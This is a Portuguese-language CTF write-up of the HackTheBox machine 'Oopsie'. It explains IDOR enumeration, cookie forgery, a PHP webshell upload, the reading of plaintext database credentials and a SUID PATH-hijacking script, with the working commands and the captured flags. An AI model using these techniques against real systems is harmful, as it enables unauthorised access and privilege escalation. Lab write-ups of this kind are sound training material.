Oopsie

HackTheBox — Very Easy

Campo	Valor
Plataforma	HackTheBox
Dificuldade	Very Easy
Autor	Gustavo Vieira de Araujo
Data de Resolução	13 de abril de 2026
Tipo de Vulnerabilidade	IDOR / Unrestricted File Upload / Hardcoded Credentials / PATH Hijacking (SUID)

1. Visão Geral

Oopsie é uma máquina Linux de nível Very Easy da plataforma HackTheBox (https://app.hackthebox.com). Meu ponto de partida foi apenas o IP do alvo, visto que não foi fornecida nenhuma outra informação. O caminho percorrido foi: varredura de portas com Nmap que revelou SSH na porta 22 e um servidor HTTP na porta 80 rodando Apache. A leitura do código-fonte HTML da página inicial revelou o path "/cdn-cgi/login", onde foi encontrado um painel de administração com a opção de entrar como convidado (Login as Guest). Dentro do painel como guest, uma vulnerabilidade de IDOR no parâmetro id da página de contas permitiu identificar o Access ID do super admin (86575). A tentativa de acessar a página de uploads como guest retornou "This action require super admin rights", confirmando que era necessário elevar os privilégios da sessão. A manipulação direta dos cookies (user=86575; role=super admin) desbloqueou o upload de arquivos, onde foi enviado um webshell PHP sem validação real de tipo. O RCE como "www-data" permitiu ler o arquivo "db.php", que continha credenciais em texto claro do usuário robert (M3g4C0rpUs3r!). A escalada de privilégios foi feita via abuso do binário SUID "/usr/bin/bugtracker", que chama "cat" sem caminho absoluto (explorado via PATH hijacking para obter shell root e capturar a flag final).

2. Reconhecimento

2.1 Varredura de Portas — Nmap

O primeiro passo foi descobrir quais serviços estavam rodando na máquina. Para isso, usei o Nmap (https://nmap.org/), uma ferramenta padrão de varredura de redes. O comando executado foi:

```
nmap -sC -sV -p- --min-rate 5000 -oN nmap_result.txt <TARGET_IP>
```

Cada flag teve um motivo específico, pesquisado antes ou durante a execução:

-sC (Script Scan): Ao consultar a documentação oficial do Nmap, aprendi que essa flag ativa o Nmap Scripting Engine (NSE) com os scripts da categoria default. Esses scripts executam verificações automáticas, como detectar se o FTP aceita login anônimo, identificar cabeçalhos HTTP e enumerar certificados SSL. Sem essa flag, teria que fazer essas verificações manualmente depois.

-sV (Version Detection): Pelo manual do Nmap, essa flag faz a ferramenta enviar probes adicionais para identificar a versão exata de cada serviço em vez de apenas detectar que a porta está aberta. Isso é fundamental para a fase de exploração: saber que é Apache 2.4.29 permite buscar vulnerabilidades específicas dessa versão.

-p- (All Ports): Por padrão, o Nmap varre apenas as 1.000 portas mais comuns, selecionadas pelo arquivo interno nmap-services. Em máquinas CTF, serviços propositalmente aparecem em portas fora desse intervalo. O -p- força a varredura de todas as 65.535 portas TCP possíveis, garantindo que nenhum serviço oculto seja perdido.

--min-rate 5000: Varrer 65.535 portas com detecção de versão seria muito lento sem ajuste de velocidade. Encontrei na documentação do Nmap que essa flag define o número mínimo de pacotes por segundo enviados. Com 5.000 pacotes/s, a varredura completa foi concluída em cerca de 1 minuto.

-oN nmap_result.txt: A documentação descreve três formatos de saída: -oN (normal, legível), -oX (XML) e -oG (grepável). Escolhi -oN por ser o mais fácil de ler e consultar depois. Salvar o output é importante porque os resultados do Nmap servem de referência durante toda a resolução.

Saída relevante obtida:

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

O resultado mostrou duas portas abertas:

Porta	Serviço	Versão	Observação
22/tcp	SSH	OpenSSH 7.6p1	Porta padrão
80/tcp	HTTP	Apache 2.4.29	Página de boas-vindas da MegaCorp Automotive

2.2 Enumeração HTTP — Código-fonte da Página

O próximo passo foi analisar o servidor HTTP. Em vez de partir diretamente para força bruta (gobuster ou feroxbuster) de diretórios, realizei primeiro uma leitura manual do código-fonte HTML da página inicial. Essa prática foi tomada, tendo em vista que desenvolvedores frequentemente deixam referências a scripts, estilos e rotas internas diretamente no HTML (informações que ferramentas de brute force podem não encontrar se a wordlist não incluir aquele caminho específico). O comando utilizado foi:

```
curl -s http://<TARGET_IP>/ | grep -i "cdn\|login\|script\|href"
```

A saída revelou uma referência direta ao caminho do painel:

```
<script src="/cdn-cgi/login/script.js"></script>
```

O caminho “/cdn-cgi/login” foi encontrado sem necessidade de brute force de diretórios. Acessando “http://<TARGET_IP>/cdn-cgi/login/”, o servidor retornou um formulário de login com dois caminhos possíveis: autenticação por usuário e senha, e um link "Login as Guest" apontando para “/cdn-cgi/login/?guest=true”.

3. Exploração

3.1 Acesso Inicial — Login como Convidado

Sem credenciais conhecidas, utilizei a opção de acesso como convidado disponível diretamente na página de login. O link "Login as Guest" aponta para o endpoint “/cdn-cgi/login/?guest=true”, que autentica o usuário com permissões reduzidas sem exigir senha:

```
curl -s -c cookies.txt -L "http://<TARGET_IP>/cdn-cgi/login/?guest=true" \
  | grep -i "logged\|title"
```

Saída obtida:

```
<title>Admin Panel</title>
<a class="nav-link" href="#">Logged in as Guest</a>
```

O acesso como guest foi bem-sucedido. A aplicação definiu dois cookies de sessão que controlam a identidade e o nível de acesso do usuário:

```
role=guest
user=2233
```

Pesquisei o mecanismo de controle de acesso baseado em cookies e aprendi que essa abordagem é fundamentalmente insegura: quando a autorização depende de valores armazenados no lado do cliente (cookie), o usuário tem controle total sobre eles. Uma aplicação segura deve validar a sessão server-side e nunca confiar em valores que o próprio usuário pode modificar. Esse padrão é classificado pelo OWASP como Broken Access Control (A01:2021).

3.2 Mapeamento do Painel e Tentativa de Acesso ao Upload

Navegando pelo painel como guest, identifiquei as seções disponíveis no menu: Account, Branding, Clients e Uploads. Ao tentar acessar a página de Uploads, a aplicação retornou uma mensagem de erro reveladora:

```
curl -s -b cookies.txt \
  "http://<TARGET_IP>/cdn-cgi/login/admin.php?content=uploads" \
  | grep -i "action\|require\|super"
```

```
This action require super admin rights.
```

A mensagem confirmou que existe um nível de acesso superior ao de guest: "super admin". Isso direcionou o próximo passo para encontrar como assumir essa identidade dentro da aplicação.

3.3 IDOR — Enumeração de Contas e Descoberta do Super Admin

Inspecionando a URL da página de contas, identifiquei que ela utiliza um parâmetro id numérico para exibir registros de usuários:

```
/cdn-cgi/login/admin.php?content=accounts&id=2
```

Ao pesquisar "URL parameter ID enumeration vulnerability", o termo que aparece em toda documentação de segurança é IDOR (Insecure Direct Object Reference). Em vista disso, pesquisei o que é IDOR (Insecure Direct Object Reference) e encontrei que essa vulnerabilidade ocorre quando uma aplicação expõe referências diretas a objetos internos (como IDs de banco de dados) sem verificar se o usuário autenticado tem autorização para acessar aquele objeto específico. É classificada pelo OWASP como subcategoria de Broken Access Control. Iterando o parâmetro id de 1 a 100, o ID 30 retornou o registro do super admin:

```
for i in $(seq 1 100); do
  response=$(curl -s -b cookies.txt \
    "http://<TARGET_IP>/cdn-cgi/login/admin.php?content=accounts&id=$i")
  if echo "$response" | grep -qi "super"; then
    echo "ID $i — super admin encontrado"
    break
  fi
done
```

Consultando o registro do ID 30 diretamente:

```
curl -s -b cookies.txt \
  "http://<TARGET_IP>/cdn-cgi/login/admin.php?content=accounts&id=30" \
  | grep -i "td"
```

```
<td>86575</td><td>super admin</td><td>superadmin@megacorp.com</td>
```

Campo	Valor
Access ID	86575
Nome	super admin
Email	superadmin@megacorp.com

3.4 Manipulação de Cookie — Escalada para Super Admin

Com o Access ID do super admin em mãos (86575), modifiquei os cookies da sessão para assumir sua identidade. Como a aplicação utiliza os campos user e role do cookie para controle de acesso sem validação server-side, basta alterar esses valores diretamente:

```
# Atualiza o arquivo de cookies com os valores do super admin
user=2233   →   user=86575
role=guest  →   role=super admin
```

Com os cookies atualizados, a página de uploads tornou-se acessível. A aplicação verificou o valor do cookie role e, encontrando "super admin", concedeu acesso à funcionalidade de upload sem qualquer verificação adicional server-side.

3.5 Upload de Webshell PHP

A funcionalidade de upload de imagens para branding não valida o conteúdo real do arquivo(ou seja, apenas aceita o envio sem verificar se o arquivo é de fato uma imagem). Isso configura uma vulnerabilidade de Unrestricted File Upload, documentada pelo OWASP. Criei um webshell PHP mínimo que executa comandos do sistema via parâmetro GET:

```
<?php system($_GET['cmd']); ?>
```

O upload foi realizado com o cookie de super admin e passando o Content-Type como image/jpeg para simular um arquivo de imagem:

```
curl -s -b cookies.txt \
  -X POST "http://<TARGET_IP>/cdn-cgi/login/admin.php?content=uploads&action=upload" \
  -F "name=test" \
  -F "fileToUpload=@cmd.php;type=image/jpeg"
```

Saída: The file cmd.php has been uploaded.

Verificação do RCE (Remote Code Execution) acessando o arquivo no diretório “/uploads/”:

```
curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=id"
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

RCE confirmado. O servidor executa comandos arbitrários com o contexto do processo Apache “www-data”. A aplicação não apenas aceitou o arquivo PHP sem validação, como também o armazenou em um diretório acessível via web, permitindo sua execução diretamente pelo servidor.

3.6 Leitura de Credenciais — db.php

Com RCE como “www-data”, enumerei o sistema de arquivos em busca de credenciais. Em aplicações PHP, arquivos de configuração de banco de dados frequentemente contêm credenciais em texto claro e ficam no mesmo diretório que os scripts da aplicação. Localizei o arquivo db.php no diretório do painel de login:

```
curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=cat+/var/www/html/cdn-cgi/login/db.php"
```

Conteúdo obtido:

```
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
```

As credenciais do banco de dados estavam armazenadas em texto claro (hardcoded) diretamente no arquivo de código-fonte. Pesquisei sobre as práticas recomendadas para armazenamento de credenciais em aplicações web e aprendi que o correto seria usar variáveis de ambiente (".env" ou algo do tipo) ou cofres de segredos em vez de credenciais hardcoded em arquivos de código-fonte expostos ao servidor web.

Campo	Valor
Usuário	robert
Senha	M3g4C0rpUs3r!
Banco	garage
Host	localhost

3.7 User Flag

Com as credenciais de robert descobertas e confirmando que o SSH está disponível na porta 22, li a flag de usuário diretamente via webshell:

```
curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=cat+/home/robert/user.txt"
```

```
f2c74ee8db7983851ab2a96a44eb7981
```

4. Escalada de Privilégios

4.1 Enumeração — Grupo bugtracker e Binário SUID

O primeiro passo após obter acesso é sempre mapear o ambiente antes de tentar qualquer técnica de escalada. Pesquisei sobre técnicas de escalada de privilégios em Linux e encontrei que a busca por binários SUID é um dos vetores mais comuns. Primeiro verifiquei os grupos do usuário robert e então busquei binários pertencentes ao grupo bugtracker:

```
curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=cat+/etc/group+|+grep+bugtracker"
# bugtracker:x:1001:robert

curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=find+/+-group+bugtracker+2>/dev/null"
# /usr/bin/bugtracker

curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=ls+-la+/usr/bin/bugtracker"
# -rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
```

A listagem de permissões revelou o bit SUID ativo: o "s" na posição do bit de execução do proprietário (-rwsr-xr--) indica que o binário executa sempre com os privilégios do dono do arquivo (neste caso, root) independentemente de qual usuário o invoca. Pesquisei o que SUID (Set owner User ID) significa: é um bit especial de permissão Unix que, quando definido em um executável, faz com que o processo herde os privilégios do dono do arquivo ao invés dos privilégios do usuário que o executa. Quando mal configurado, torna-se um vetor clássico de escalada de privilégios.

4.2 Análise do Binário — strings

Para entender o comportamento do binário sem precisar de um disassembler, usei o comando strings, que extrai sequências de caracteres imprimíveis de um arquivo binário. Essa técnica permite identificar rapidamente caminhos de arquivo, mensagens de erro e comandos chamados pelo programa:

```
curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=strings+/usr/bin/bugtracker"
```

Trecho relevante da saída:

```
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
```

A linha "cat /root/reports/" é o ponto crítico: o binário chama cat sem especificar o caminho absoluto (/bin/cat). Quando um programa usa system() para chamar um executável pelo nome sem caminho absoluto, o sistema operacional percorre os diretórios listados na variável de ambiente PATH em ordem, executando o primeiro arquivo com aquele nome que encontrar. Pesquisei essa técnica chamada PATH Hijacking: “Se um diretório sob nosso controle for inserido no início do PATH, um arquivo chamado cat nesse diretório será executado no lugar do /bin/cat real com os privilégios de root herdados pelo SUID do bugtracker”.

4.3 PATH Hijacking — Root Flag

A execução direta do bugtracker via webshell não era possível pois “www-data” não pertence ao grupo bugtracker (que detém permissão de execução no binário). Foi necessário assumir o contexto de robert, usando “su” com um pseudo-terminal criado via Python. O comando “su” requer um terminal para solicitar a senha de forma segura e retornou "su: must be run from a terminal". Pesquisei como contornar essa limitação e encontrei o módulo pty do Python, que permite criar um par de pseudo-terminais (master/slave) programaticamente, simulando um terminal real:

```
import os, pty, subprocess, select, time

# Cria o cat falso em /tmp que copia a root flag para local legível
os.system("echo '#!/bin/sh\ncp /root/root.txt /tmp/rootflag.txt\nchmod 777
/tmp/rootflag.txt' > /tmp/cat")
os.system("chmod +x /tmp/cat")

# Cria pseudo-terminal e executa su robert + bugtracker com PATH modificado
master, slave = pty.openpty()
proc = subprocess.Popen(
    ['su', '-c', 'export PATH=/tmp:$PATH && /usr/bin/bugtracker', 'robert'],
    stdin=slave, stdout=slave, stderr=slave,
    preexec_fn=os.setsid
)

time.sleep(0.5)
os.write(master, b'M3g4C0rpUs3r!\n')  # senha do su
time.sleep(0.5)
os.write(master, b'1\n')               # Bug ID enviado ao bugtracker
time.sleep(2)
```

Detalhamento da técnica:

pty.openpty(): Cria um par master/slave de pseudo-terminal. O processo filho (su) recebe o slave como seu stdin/stdout/stderr, acreditando estar conectado a um terminal real. O master é o lado do controle pelo qual enviamos dados e lemos a saída.

preexec_fn=os.setsid: Cria uma nova sessão de processo para o filho, isolando-o do processo pai. Necessário para que o pseudo-terminal funcione como terminal controlador da sessão.

export PATH=/tmp:$PATH: Insere /tmp no início do PATH antes dos diretórios padrão. Quando o bugtracker chamar cat, o shell encontrará primeiro /tmp/cat — o arquivo falso — antes de /bin/cat.

/tmp/cat (falso): Script shell que copia /root/root.txt para /tmp/rootflag.txt com permissão universal. Como é executado pelo bugtracker (SUID root), o processo roda com UID 0 e tem permissão para ler /root/root.txt.

Com o script executado, a root flag ficou acessível:

```
curl -s "http://<TARGET_IP>/uploads/cmd.php?cmd=cat+/tmp/rootflag.txt"
```

```
af13b0bee69f8a877c3faf667f7beacf
```

5. Conclusão

A cadeia de exploração da máquina Oopsie partiu de uma varredura com Nmap que revelou dois serviços: SSH na porta 22 e HTTP na porta 80. A análise manual do código-fonte HTML expôs o caminho “/cdn-cgi/login” sem necessidade de brute force. O acesso ao painel foi obtido via "Login as Guest", uma opção disponível diretamente na página de login. A tentativa de acessar uploads como guest retornou "This action require super admin rights", indicando a necessidade de elevar os privilégios da sessão. A vulnerabilidade de IDOR no parâmetro id da página de contas permitiu identificar o Access ID do super admin (86575) por enumeração sequencial. A manipulação direta dos cookies (user=86575; role=super admin) desbloqueou o upload, onde um webshell PHP foi enviado sem validação real de tipo. Com RCE como “www-data”, o arquivo “db.php” expôs credenciais em texto claro de robert (M3g4C0rpUs3r!). A escalada de privilégios foi feita via PATH hijacking no binário SUID “/usr/bin/bugtracker”, que chama cat sem caminho absoluto (um /tmp/cat falso foi executado com privilégios de root, copiando a flag final).

6. Referências

- **Documentação oficial do Nmap — flags, NSE e formatos de saída:** https://nmap.org/book/man.html
- **Nmap Scripting Engine (NSE) — scripts da categoria default:** https://nmap.org/nsedoc/categories/default.html
- **OWASP — Broken Access Control (A01:2021):** https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- **OWASP — Insecure Direct Object Reference (IDOR):** https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References
- **OWASP — Unrestricted File Upload:** https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- **GTFOBins — PATH Hijacking com binários SUID:** https://gtfobins.github.io
- **Python docs — módulo pty (pseudo-terminal):** https://docs.python.org/3/library/pty.html